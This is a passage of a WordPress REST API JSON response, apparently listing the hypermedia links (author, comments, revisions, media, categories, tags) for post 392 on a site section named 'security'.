on\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/comments?post=392"}],"version-history":[{"count":8,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/392\/revisions"}],"predecessor-version":[{"id":400,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/posts\/392\/revisions\/400"}],"wp:attachment":[{"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/media?parent=392"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/categories?post=392"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.searchevolution.com\/security\/wp-json\/wp\/v2\/tags?post=392"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}